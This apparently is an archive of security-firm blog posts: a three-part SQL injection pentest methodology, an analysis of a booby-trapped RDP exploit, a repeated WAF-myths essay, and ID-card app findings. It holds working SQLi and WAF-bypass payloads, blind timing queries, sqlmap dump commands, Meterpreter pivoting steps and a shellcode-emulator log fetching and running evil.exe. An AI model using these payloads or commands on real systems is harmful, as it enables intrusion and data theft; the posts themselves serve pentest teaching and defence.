Breaking

SQL Injection Testing for Business Purposes Part 3

Extract the data

If you want to extract some data from a database you first need to gather knowledge about the internal structure of the database.

One of the first steps (after determining the database type) is enumerating the available tables and the corresponding columns. Most database systems have a meta database called information_schema. By querying this database it is possible to get information about the internal structure of the installed databases. For example you could get the tables and their corresponding columns in MS SQL and MySQL by injecting “SELECT table_name, column_name FROM information_schema.columns“. Oracle databases have their own meta tables, so you have to handle them differently. For getting the same output in Oracle, you have to query the all_tab_columns table (or user_tab_columns if you only want to search in the currently selected database). If the found vulnerability only allows to receive a single column (or if it is too complicated to identify two columns in the server response) you could concatenate the columns to one single string, e.g. in Oracle: “SELECT table_name||':'||column_name FROM all_tab_columns“.

A much more frequent problem you have to deal with is that only the first row of a result-set is returned. To get all table and column names you have to iterate over the results. It is helpful to determine the expected row count first by injecting a “SELECT COUNT(column_name) FROM all_tab_columns“. Iterating over the results in MySQL is simple: “SELECT table_name, column_name FROM information_schema.columns LIMIT $start,1” (where $start denotes the current offset in the result-set). MS SQL doesn’t support to specify ranges for the results. This is why you have to combine several select statements to get the same result:

SELECT TOP 1 table_name, column_name FROM (SELECT TOP $start table_name, column_name FROM information_schema.columns ORDER BY table_name DESC) ORDER BY table_name ASC

(where $start denotes the row number you want to extract).

If you are confronted with a large database, it is always easier to search for interesting column names instead of tables. So you can combine the mentioned query statements with where clauses to search for columns which contain ‘pass’ or ‘user’.

If the found vulnerability is a blind or totally blind SQL injection, you have to use boolean expressions to extract some data. One approach is getting the database username (or any other data) by doing a binary search with the procedures ASCII and SUBSTR.

For example on Oracle databases you would get the first character of an username by injecting “ASCII(SUBSTR(username, 1,1))” into the where clause. To do a binary search on ‘Admin’ you would do “ASCII(SUBSTR(username, 1, 1)) < 128” which results in true. The next value to compare with is 64 (which is right in the middle of 0 and 128). This time the query would fail because the ascii value of ‘A’ is 65. Now you compare with 96 (the middle of 64 and 128) and so on, until you reach 65. After that you will treat the remaining characters in the same way.The following excerpt is an output from sqlninja (which will be covered again later on), which uses this technique in an automated way on a totally-blind SQLi vulnerability:
[ … ]
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 79 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 55 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 67 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 73 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 76 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 77 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------

Here he found the first character: N
and now continues with the second:

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),2,1)) < 79 waitfor delay '0:0:5';
-------------------------------------------

[ … ]

Essential Tools

As the manual extraction of data can be quite time consuming, the usage of automated tools becomes essential. There are various tools that may help identifying and exploiting SQLi vulnerabilities. One of them is sqlmap, which concentrates on blind SQL injection, it comes with many options and supports a lot of different Database Servers (amongst them MS-SQL, MySQL, Oracle and PostgreSQL) which is one of the reasons why it is covered in this article. The extraction process is very intuitive and sqlmap tries to identify automatically the sort of SQLi (Blind, totally blind …) if not specified, so it is easy to get it up and running in a few minutes. We are not going into great detail, as this would go beyond the scope, but are showing a few commands which may already suffice to let sqlmap extract all available data from the database. Prerequisite for the following scenario is an already identified SQLi Vulnerability:

The first command tries to enumerate all available databases using the vulnerable parameter “txtUserName”:

sqlmap -u "http://172.16.141.128/vulnweb/SQLInjection/Login.aspx" --data=__VIEWSTATE=dDwtNjI1NzM1OTs7Pv6HhHTCvfGeXKasVQXuFgQtgqym\& txtUserName=\&txtPassword=\&Button1=OK --dbms=mssql --dbs -p txtUserName

The next command enumerates all available table names of the found databases without the need to specify the database names as all gathered information are stored in a local progress file and automatically used for all further attacks:(This feature becomes important as soon as the amount of already collected data gets vastly large.)

sqlmap -u "http://172.16.141.128/vulnweb/SQLInjection/Login.aspx" --data=__VIEWSTATE=dDwtNjI1NzM1OTs7Pv6HhHTCvfGeXKasVQXuFgQtgqym\& txtUserName=\&txtPassword=\&Button1=OK --dbms=mssql --tables -p txtUserName

After using the same command but with the –columns option instead of –tables, enough necessary information were gathered to identify potential interesting tables of which now data can be extracted from. As this process might sometimes last too long, it is also possible to search for specific column names like “password” with the –search option. If however time doesn’t matter or the content is expected to be not very large, the –dump-all option may be used to extract all data contained in all databases.

As SQLi vulnerabilities enable an attacker not only to extract data, but sometimes also to execute system level commands, it is possible, and most tools offer such an option, to upload and execute binary files like e.g. netcat, resulting in an interactive shell with the same rights of the SQL server process (in the worst case root/administrative rights).Going one step further, sqlmap respectively sqlninja (a handy and in some cases less buggier than some others, but MS-SQL only SQLi tool) are able to use the exploitation framework Metasploit, which offers various attack payloads like “Creation of an administrative user” or a “Reverse-TCP shell”.In that way it is for example possible, to upload the powerful Meterpreter payload using an existing SQL injection vulnerability within a web application. Once started, Meterpreter enables system level access and can be used (depending on the rights of the database server process respectively the patch status of the underlying system) to extract system level data and utilize the database server as a jump host to an internal network or to exploit a local privilege escalation vulnerability to gain administrative rights.

An attacker uses an existing SQL injection vulnerability to upload and execute the meterpreter payload, then added a route entry within metasploit, making the internal network of the SQL server accessible through the meterpreter session and is now able to scan and attack systems behind the server, which would normally be not reachable from the attacker side.

Rating of the findings

After doing all the testing stuff, there’s one important step missing, at least if we are talking about a professional pentest. The criticality rating of findings is a mandatory task in the course of a pentest. On the one hand, the comparative value of the rating must be guaranteed, on the other hand, the rating must be appropriate for the environment which is in scope of the pentest. Based on these requirements, we propose the Common Weakness Scoring System as an appropriate metric for the rating of web application related security findings like SQL injection.The design considerations of CWSS include the applicability for  scoring processes as well as the integration of stakeholder concerns or environmental requirements. These considerations result in the definition of three different metric groups which each contain different factors:

Different entities may evaluate separate factors at different points in time. As such, every CWSS factor effectively has “environmental” or “temporal” characteristics. Different pre-defined values can be assigned to each factor and each factor also has a default value. The different values for the single factors are explained in detail here:

CWSS uses also a reliability factor, so the factor Finding Confidence is explained as an example above.

All factors will be combined using a formula, which results in a value between 0 and 100. The higher a weakness is scored, the higher is the associated criticality. Regarding the formula and the used factors and weights, the CWSS allows a precise, comparable, and reproducible rating of vulnerabilities in the context of web application pentests. The rating will also help the application owner to prioritize the findings and use the always limited resources for the most critical issues.

Final Conclusion

Bringing the mentioned steps of the methodology together, you can follow a small checklist to identify all SQL injection issues in an application and help the application owner to mitigate the most severe problems. But every shortening of the test steps will have a negative influence on your success rate and the acceptance of the results:

1. Identify all input vectors
2. Test all input vector with a set of test signatures
3. Identify the database
4. Exploit the SQL injection vulnerability to proof the existence and avoid any discussions
5. Rate the criticality of the findings based on a metric

… the end 🙂

Thanks for following us and staying tuned to wait for all the parts of this article. If you missed one or both of the earlier posts, don’t forget to read “SQL Injection Testing for Business Purposes Part 1” and “SQL Injection Testing for Business Purposes Part 2” to get it all.

Michael, Timo and Frank from the Appsec Team

Continue reading
Breaking

SQL Injection Testing for Business Purposes Part 2

Take Care of the Database

There are some database specifics, every pentester should be aware of, when testing for and exploiting SQLi vulnerabilities. Besides the different string concatenation variants already covered above, there are some other specifics that have to be considered and might turn out useful in some circumstances. For example with Oracle Databases, every SELECT statement needs a following FROM statement even if the desired data is not stored within a database. So when trying to extract e.g. the DB username using a UNION SELECT statement, the DUAL table may be utilized, which should always be available. Another point, if dealing with MySQL, is the possibility to simplify the classic payload

' or 1=1 --

to

' or 1 --

One important difference regarding totally-blind SQLi are the different ways for an equivalent MS-SQL “waitfor delay” in other database management systems. For MySQL (before 5.0.42), the benchmark function may be used. E.g.:

benchmark(3000000,MD5(1))

For later versions:

sleep(5)

Respectively, Oracle supports an HTTP request function, which is expected to generate a delay if pointed to a non existing URL: utl_http.request('http://192.168.66.77/'). Alternatively, the following function may be useful:

DBMS_LOCK.SLEEP(5)

Using database specific test and exploit signatures will also help to identify the used database, which makes all further tests much easier.

Another important difference is the missing MS-SQL “xp_cmdshell” on other DBMSs. However, there were some talks in the past (e.g. at Black Hat Europe 2009 by Bernardo Damele A. G. the author of sqlmap) about the possibility to execute code with MySQL respectively PostgreSQL under certain circumstances (sqlmap supports upload and execution of Metasploit shellcode for MySQL and PostgreSQL). This table summarizes useful SQL functions.

How to Exploit SQL Injection

After identifying vulnerable parameters it is time for exploitation. There are some basic techniques for this task, which will be explained in the context of an Oracle DB. As for data extraction one of the most useful statements is UNION SELECT. However, the UNION SELECT approach doesn’t work in all situations. If,for example, injecting right after the select statement (e.g. “SELECT $INPUT_COLUMN_NAME FROM tablename;” ) and not after a WHERE clause, trying to extract data with UNION SELECT  leads most likely to an SQL error if you are unaware of the exact query. In this simple but sometimes occurring scenario, one solution would be the use of subselects. The advantage of subselects are the fact, that in many cases it is not necessary to know anything about the surrounding query. So supplying

(SELECT user FROM DUAL)

the SQL query doesn’t get broken and ideally prints the desired information. However if the payload is injected into a string, the previously covered string concatenation gets useful. So with a similar query, the attack string could look like:

'|| (SELECT user FROM DUAL) ||'

The previous examples depend on any form of results from the application. In case the application doesn’t print any results of the SQL query, it may still be possible to gather database information if the application behavior can be influenced.Given a registration form, where the supplied username gets checked for existence in the database, the used SQL query might look like:

SELECT username FROM users WHERE username = '$NEW_USERNAME';

This kind of vulnerability is a boolean-based blind SQLi. It is not possible to print any SQL query results, but the application logic can be exploited. So the payload in this case might be:

'|| (SELECT CASE WHEN (SELECT 'abcd' FROM DUAL) = 'abcd' THEN 'new_username' else 'EXISTING_USERNAME' END FROM DUAL)||'

Or in pseudo code:

If abcd equals abcd
return new_username
else
return EXISTING_USERNAME

Obviously this payload does not provide any useful information by now, but it illustrates the possibility to make boolean checks on strings which will be helpful later on during/for extracting real data from the database.

How to get around Web Application Firewalls

In some situations, the application might filter specific attack strings or a Web Application Firewall (WAF) is deployed in front of the web servers/applications. In these cases, being creative is essential. For example, instead of injecting

' or 'a'='a

we already circumvented a WAF by supplying a slightly modified version of this payload:

' or 'a='='a=

If dealing with a MySQL database, using the previously mentioned attack string might also (and did already in practice) help to deceive some filters:

' or 1 --

It is also very likely, that one single quote doesn’t cause any reaction, as of false positive prevention. If it does, the following variation could also help to get through the WAF:

abc'def

In general, using short test strings (and some brainpower) might help to not trigger any filtering rules.

If unsure whether a WAF is in place or not, it is advisable to first verify its existence with some fingerprinting tools. One of them is wafw00f which supports many different vendors. Another tool is tsakwaf, which supports less vendors but includes additional features for WAF circumvention like encoding capabilities for test signatures, that might be useful for SQL injection testing, when a WAF is in place.

… to be continued …

Have a great day and enjoy trying 🙂
Michael, Timo and Frank from the Appsec Team

Continue reading
Breaking

SQL Injection Testing for Business Purposes Part 1

Introduction

SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but doing web application pentests almost all the time, we have a slightly different view. Many SQL injection problems  potentially remain undetecteddue to a lack of proper test methodology, so we would like to share our approach and experience and help others in identifying these issues.

Continue reading “SQL Injection Testing for Business Purposes Part 1”

Continue reading
Breaking

Untrusted code or why exploit code should only be executed by professionals

In march 2012 Microsoft announced a critical vulnerability (Microsoft Security Bulletin MS12-020) related to RDP that affects all windows operating systems and allows remote code execution. A lot of security professionals are expecting almost the same impact as with MS08-067 (the conficker vulnerability) and that it will be only a matter of time, until we will spot reliable exploits in the wild. Only a few days later an exploit, working for all unpatched windows versions was released, so it seems that they were right ;-), but of course no one will run an exploit without investigating the code. So lets have a look into the exploit Code.

First we take a look into the Microsoft advisory to get some information about the vulnerability itself:

The vulnerability requires some “specifically crafted RDP packets” to be sent to the vulnerable system to trigger the problem. We should spot this trigger in the exploit:

OK, the trigger is there and we also see some shellcode, that will open a bindshell on TCP port 8888. The next step is to figure out, what the exploit is doing with this code:

The exploit code converts a lot of opcodes to the big endian format, that looks reasonable because the exploit claims to work on all affected windows versions. The last step is to verifiy, how all the stuff is sent to the vulnerable system:

We see that target IP address and the RDP port are assigned and collected from the command line, the RDP packet is generated and the “specifically crafted RDP packets” are sent to the target.Finally the shellcode is sent and we are ready to connect to a remote shell that listens on TCP port 8888. Game over ;-).

We have verified the exploit, so it’s time now to run it against some unpatched test system and see, if we can compromise all these unpatched boxes out there …

…JUST KIDDING, never ever do that and I’m not talking about the legal issues this time ;-). It is a quite common mistake by unexperienced testers to work in this way. The exploit code was gathered from an untrusted source, so it needs detailed investigations before you run it, not just a short walk-through. You have to ensure that you understand every line of code completely to avoid being targeted by yourself, even the shellcode and the trigger of the rdp example. So let’s digg a little bit deeper into this.

First we have to extract the shellcode and trigger (the opcodes) from the exploit for further analysis. I prefer a special editor for this task that has all needed functionality (and much more 😉 ) built-in. It’s a commercial tool called “010 Editor” that can be obtained here and is available as a windows and MAC OS X version.

Step 1
Copy just the trigger opcodes into a dedicated text file, don’t forget to remove the double quotes. The text files should look almost like this:

trigger:

and shellcode:

Step 2
Use the editors replace function to replace “\x” with “0x” for the trigger and shellcode text files. Take the shellcode as an example, how the opcodes should look now:

Step 3
Mark all this hex data and copy it to the clipboard.

Step 4
Choose “File-New-New Hex File” from the “010 Editors” menu to create an empty hex file.

Step 5
Now choose “Edit-Paste From-Paste from Hex Text” to paste the data as hex data into the new hex file.

Step 6
Save both files (trigger and shellcode) as trigger.sc and shellcode.sc

Now we would be ready to analyze the opcodes with some toolset, but I assume that all of you already spotted some very interesting stuff within the shellcode part ;-):

Yes, it looks like the shellcode doesn’t open a bindshell, it just erases parts of your hard drive on windows and your complete root partition on unix.

This is really GAME OVER, if you would have run the exploit without a detailed analysis on a productive system. This code is referenced with the following code:

def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __import__("__builtin__").__dict__
self.shellcode = shellcode

and then executed using this code:

seeker = (struct.pack(">I", 0x6576616c)
...
read = self.table[seeker[0]]
return str(read(shellcode)), parsed

But in case that the shellcode wouldn’t have been so easily readable, there are more options for an easy analysis. Based on the shellcode emulation library libemu there are some tools available to find out what the shellcode is doing without reverse engineering it. SCDBG is one that runs on all unix based systems and also on windows, you can grab it here.

Let us see how SCDBG works with a short example shellcode:
scdbg -f UrlDownloadToFile.sc
Loaded 150 bytes from file UrlDownloadToFile.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40104bLoadLibraryA(urlmon)
40107aGetTempPath(len=104, buf=12fce4)
4010b2URLDownloadToFile(http://blahblah.com/evil.exe0, C:\%TEMP%\dEbW.exe)
4010bdWinExec(c:\%TEMP%\dEbW.exe)
4010cbExitProcess(626801251)

Stepcount 293883

So the example shellcode downloads a malicious file and executes it, let’s have a look at our shellocde now:
scdbg -f shellcode.sc
Loaded 10d bytes from file shellcode.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
401002opcode 69 not supported

Stepcount 2

SCDBG fails to analyze the shellcode (for obvious reasons as we already know), so you can take this result as a good hint, that some stuff is hidden in the code and that you better shouldn’t run it.

Lessons learned

So finally, let’s summarize some lessons that every serious penetration tester should be aware of:

1. Never run any untrusted code (especially exploits) without a detailed analysis.
2. Ensure that you understand every line of code and this also includes the shellcode.
3. Before using untrusted code in a real pentest, verify it in a test environment (virtual machines are a good choice for that).
4. When using exploits on customer systems be aware that you’re running it on one of the assets of your customer! Don’t do that without your customers permission!
5. Your customer trusts your professional knowledge, so it’s your responsibility to avoid damaging any of your customers systems by mistake.

So happy practicing and enjoy your week 😉

Michael

Continue reading
Misc

The 5 Myths of Web Application Firewalls

Some days ago a security advisory related to web application firewalls (WAFs) was published on Full Disclosure. Wendel Guglielmetti Henrique found another bug in the IBM Web Application Firewall which can be used to circumvent the WAF and execute typical web application attacks like SQL injection (click here for details). Wendel talked already (look here) at the Troopers Conference in 2009 about the different techniques to identify and bypass WAFs, so this kind of bypass methods are not quite new.

Nevertheless doing a lot of web application assessments and talking about countermeasures to protect web applications there’s a TOP 1 question I have to answer almost every time: “Wouldn’t it be helpful to install a WAF in front of our web application to protect them from attacks?”. My typical answer is “NO” because it’s better to spent the resources for addressing the problems in the code itself. So I will take this opportunity to write some rants about sense and nonsense of WAFs ;-). Let’s start with some – from our humble position – widespread myths:

1. WAFs will protect a web application from all web attacks .
2. WAFs are transparent and can’t be detected .
3. After installation of a WAF our web application is secure, no further “To Dos” .
4. WAFs are smart, so they can be used with any web application, no matter how complex it is .
5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface.

And now let us dig a little bit deeper into these myths ;-).

1. WAFs will protect a web application from all web attacks

There are different attack detection models used by common WAFs like signature based detection, behavior based detection or a whitelist approach. These detection models are also known by attackers, so it’s not too hard to construct an attack that will pass the detection engines.

Just a simple example for signatures ;-): Studying sql injection attacks we can learn from all the examples that we can manipulate “WHERE clauses” with attacks like “or 1=1”. This is a typical signature for the detection engine of WAFs, but what about using “or 9=9” or even smarter 😉 “or 14<15”? This might sound ridiculous for most of you, but this already worked at least against one  WAF 😉 and there are much more leet attacks to circumvent WAFs (sorry that we don’t disclose any vendor names, but this post is about WAFs in general).
Another point to mention are the different types of attacks against web applications, it’s not all about SQL injection and Cross-Site Scripting attacks, there also logic flaws that can be attacked or the typical privilege escalation problem “can user A access data of user B?”. A WAF can’t protect against these attacks, it a WAF can raise the bar for attackers under some circumstances, but it can’t protect a web application from skilled attackers.

2. WAFs are transparent and can’t be detected

In 2009, initially at Troopers ;-), Wendel and Sandro Gauci published a tool called wafw00f and described their approach to fingerprint WAFs in different talks at security conferences. This already proves that this myth is not true. Furthermore there will be another tool release from ERNW soon, so stay tuned, it will be available for download shortly ;-).

3. After installation of a WAF my web application is secure, no further “To Dos”

WAFs require a lot of operational effort just because web applications offer more and more functionality and the main purpose of a web application is to support the organization’s business. WAF administrators have to ensure that the WAF doesn’t block any legitimate traffic. It’s almost the same as with Intrusion Detection and Prevention Systems, they require a lot of fine tuning to detect important attacks and ensure functionality in parallel. History proves that this didn’t (and still doesn’t) work for most IDS/IPS implementations, why should it work for WAFs ;-)?

4. WAFs are smart, so they can be used with any web application, no matter how complex it is
Today’s web applications are often quite complex, they use DOM based communication, web services with encryption and very often they create a lot of dynamic content. A WAF can’t use a whitelist approach or the behavior based detection model with these complex web applications because the content changes dynamically. This reduces the options to the signature based detection model which is not as effective as many people believe (see myth No. 1).

5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface
This is one of the most common sales arguments, because it contains a lot of reasonable arguments, but what these sales guys don’t tell is the fact, that a WAF won’t solve your problem either ;-).
Talking about risk analysis the ERNW way we have 3 contributing factors: probability, vulnerability and impact. A WAF won’t have any influance on the impact, because if the vulnerability gets exploited there’s still the same impact. Looking at probabilities with the risk analysis view, you have to take care that you don’t consider existing controls (like WAFs 😉 ) because we’re talking about the probability that someone tries to attack your web application and I think that’s pretty clear that the installation of a WAF won’t change that ;-). So there’s only the vulnerability factor left that you can change with the implementation of controls.
But me let me ask one question using the picture of the Fukushima incident: What is the better solution to protect nuclear plants from tsunamis? 1. Building a high wall around it to protect it from the water? 2. Build the nuclear plant at a place where tsunamis can’t occur?

I think the answer is obvious and it’s the same with web application vulnerabilities, if you fix them there’s no need for a WAF. If you start using a Security Development Lifecycle (SDL) you can reach this goal with reasonable effort ;-), so it’s not a matter of costs.

Clarifying these myths of web application firewalls, I think the conclusions are clear. Spend your resources for fixing the vulnerabilities in your web applications instead of buying another appliance that needs operational effort, only slightly reducing the vulnerability instead of eliminating it and also costing more money. We have quite a lot of experience supporting our customers with a SDL and from this experience we can say, that it works effectively and can be implemented more easily than many people think.

You are still not convinced ;-)? In short we will publish an ERNW Newsletter (our newsletter archive can be found here) describing techniques to detect und circumvent WAFs and also a new tool called TSAKWAF (The Swiss Army Knife for Web Application Firewalls) which implements these techniques for practical use. Maybe this will change your mind ;-).

have a nice day,

Michael

Continue reading
Breaking

The 5 Myths of Web Application Firewalls

Some days ago a security advisory related to web application firewalls (WAFs) was published on Full Disclosure. Wendel Guglielmetti Henrique found another bug in the IBM Web Application Firewall which can be used to circumvent the WAF and execute typical web application attacks like SQL injection (click here for details). Wendel talked already (look here) at the Troopers Conference in 2009 about the different techniques to identify and bypass WAFs, so this kind of bypass methods are not quite new.

Nevertheless doing a lot of web application assessments and talking about countermeasures to protect web applications there’s a TOP 1 question I have to answer almost every time: “Wouldn’t it be helpful to install a WAF in front of our web application to protect them from attacks?”. My typical answer is “NO” because it’s better to spent the resources for addressing the problems in the code itself. So I will take this opportunity to write some rants about sense and nonsense of WAFs ;-). Let’s start with some – from our humble position – widespread myths:

1. WAFs will protect a web application from all web attacks .
2. WAFs are transparent and can’t be detected .
3. After installation of a WAF our web application is secure, no further “To Dos” .
4. WAFs are smart, so they can be used with any web application, no matter how complex it is .
5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface.

And now let us dig a little bit deeper into these myths ;-).

1. WAFs will protect a web application from all web attacks

There are different attack detection models used by common WAFs like signature based detection, behavior based detection or a whitelist approach. These detection models are also known by attackers, so it’s not too hard to construct an attack that will pass the detection engines.

Just a simple example for signatures ;-): Studying sql injection attacks we can learn from all the examples that we can manipulate “WHERE clauses” with attacks like “or 1=1”. This is a typical signature for the detection engine of WAFs, but what about using “or 9=9” or even smarter 😉 “or 14<15”? This might sound ridiculous for most of you, but this already worked at least against one  WAF 😉 and there are much more leet attacks to circumvent WAFs (sorry that we don’t disclose any vendor names, but this post is about WAFs in general).
Another point to mention are the different types of attacks against web applications, it’s not all about SQL injection and Cross-Site Scripting attacks, there also logic flaws that can be attacked or the typical privilege escalation problem “can user A access data of user B?”. A WAF can’t protect against these attacks, it a WAF can raise the bar for attackers under some circumstances, but it can’t protect a web application from skilled attackers.

2. WAFs are transparent and can’t be detected

In 2009, initially at Troopers ;-), Wendel and Sandro Gauci published a tool called wafw00f and described their approach to fingerprint WAFs in different talks at security conferences. This already proves that this myth is not true. Furthermore there will be another tool release from ERNW soon, so stay tuned, it will be available for download shortly ;-).

3. After installation of a WAF my web application is secure, no further “To Dos”

WAFs require a lot of operational effort just because web applications offer more and more functionality and the main purpose of a web application is to support the organization’s business. WAF administrators have to ensure that the WAF doesn’t block any legitimate traffic. It’s almost the same as with Intrusion Detection and Prevention Systems, they require a lot of fine tuning to detect important attacks and ensure functionality in parallel. History proves that this didn’t (and still doesn’t) work for most IDS/IPS implementations, why should it work for WAFs ;-)?

4. WAFs are smart, so they can be used with any web application, no matter how complex it is
Today’s web applications are often quite complex, they use DOM based communication, web services with encryption and very often they create a lot of dynamic content. A WAF can’t use a whitelist approach or the behavior based detection model with these complex web applications because the content changes dynamically. This reduces the options to the signature based detection model which is not as effective as many people believe (see myth No. 1).

5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface
This is one of the most common sales arguments, because it contains a lot of reasonable arguments, but what these sales guys don’t tell is the fact, that a WAF won’t solve your problem either ;-).
Talking about risk analysis the ERNW way we have 3 contributing factors: probability, vulnerability and impact. A WAF won’t have any influance on the impact, because if the vulnerability gets exploited there’s still the same impact. Looking at probabilities with the risk analysis view, you have to take care that you don’t consider existing controls (like WAFs 😉 ) because we’re talking about the probability that someone tries to attack your web application and I think that’s pretty clear that the installation of a WAF won’t change that ;-). So there’s only the vulnerability factor left that you can change with the implementation of controls.
But me let me ask one question using the picture of the Fukushima incident: What is the better solution to protect nuclear plants from tsunamis? 1. Building a high wall around it to protect it from the water? 2. Build the nuclear plant at a place where tsunamis can’t occur?

I think the answer is obvious and it’s the same with web application vulnerabilities, if you fix them there’s no need for a WAF. If you start using a Security Development Lifecycle (SDL) you can reach this goal with reasonable effort ;-), so it’s not a matter of costs.

Clarifying these myths of web application firewalls, I think the conclusions are clear. Spend your resources for fixing the vulnerabilities in your web applications instead of buying another appliance that needs operational effort, only slightly reducing the vulnerability instead of eliminating it and also costing more money. We have quite a lot of experience supporting our customers with a SDL and from this experience we can say, that it works effectively and can be implemented more easily than many people think.

You are still not convinced ;-)? In short we will publish an ERNW Newsletter (our newsletter archive can be found here) describing techniques to detect und circumvent WAFs and also a new tool called TSAKWAF (The Swiss Army Knife for Web Application Firewalls) which implements these techniques for practical use. Maybe this will change your mind ;-).

have a nice day,

Michael

Continue reading
Breaking

Some More Security Research on The nPA AusweisApp

After the initial quick shot (see this post) we decided to have a closer look. And some more stuff turned up.

After decompiling the integrated java stuff we stumbled about hard coded server credentials:

package Idonttell;

public abstract interface Idonttell
{
public static final boolean debug = false;
public static final boolean auth = true;
public static final String SMTP_SERVER = "Idonttell.openlimit.com";
public static final String SMTP_USER = "Idonttell@Idonttell.openlimit.com";
public static final String SMTP_PASSWORD = "Idonttell";
public static final String SEND_FROM = "Idonttell@Idonttell.openlimit.com";
public static final String[] SEND_TO = { "buergerclient.it-solutions@Idonttell.com" };
public static final String MAIL_HEADER_FIELD = "OpenLimitErrorMessage";
public static final String MAIL_HEADER_FIELD_PROP = "yes";
}

The AusweisApp uses these credentials to authenticate against a mail server and send error reports to a dedicated email address. The server was accessible from the internet and services like SMTP, FTP and SSH were running. Following the principles of responsible disclosure the vendor was contacted and responded within a few hours, so the servers are already protected against any kind of misuse. So save your time and keep the german hacking laws in mind ;-).

Nevertheless doing code reviews for years, one point on the checklist is secure storage of data. Any kind of secrets should never be included directly in the source code and never ever in cleartext like it was done in the AusweisApp. These secrets can be accessed quite easily, so how useful is an authentication feature, if everybody knows the password ;-)?

This leaves me scratching my head. Maybe I was a bit overhasty when writing this 😉

Ok, getting serious again, this finding is another proof that the concept of rating closed source software based on well chosen metrics can help to determine the trustworthiness of software, because building secure software means that you develop with security in mind and this is what these metrics are measuring.

have a nice week and be aware of more updates as our research continues. We’re investigating another interesting possible flaw …

Michael

Continue reading
Breaking

Our contribution to the public discussion about the German new ID card (nPA)

Currently there’s quite some discussion about the security properties and posture of the German new ID card (“Neuer Personalausweis”, “nPA”, some technically reasonable security discussion can here be found e.g. here.

While – as of our current knowledge – we do not expect major security flaws on the architecture level, the problems discussed so far (like Evilgrade style attacks against one of the main applications or keylogging the PIN in scenarios with pinpad-less readers ) certainly show that security best practices must be followed by all parties involved in the development, deployment and use of the nPA and it’s associated applications. From our perspective this may be expected from the applications’ developers as well.
Looking at this:

TTICheck 32/64 Bit - (c) 2010 Michael Thumann
[i] Scanning .

.\ePALib_Client.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\mozilla\AusweisApp_FF3x_Win\components\siqeCardClientFFExt.dll; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\npeCC30.dll; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\pdcjk.dll; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\PDFParser.dll; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\PdfSecureAPI.dll; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\PdfValidatorAPI.dll; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\PdfViewerAPI.dll; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqApp.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqBootLoader.exe; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqBootLoaderAC.exe; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqCertMgr.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqCIFRepository1_1.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqCipher.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqCryptoAPI.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecCert.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecCertAttr.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecCertCV.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecCRL.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecCTL.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecMgr.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecOCSP.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecOCSPRequest.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecP12.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecP7.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecTSP.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
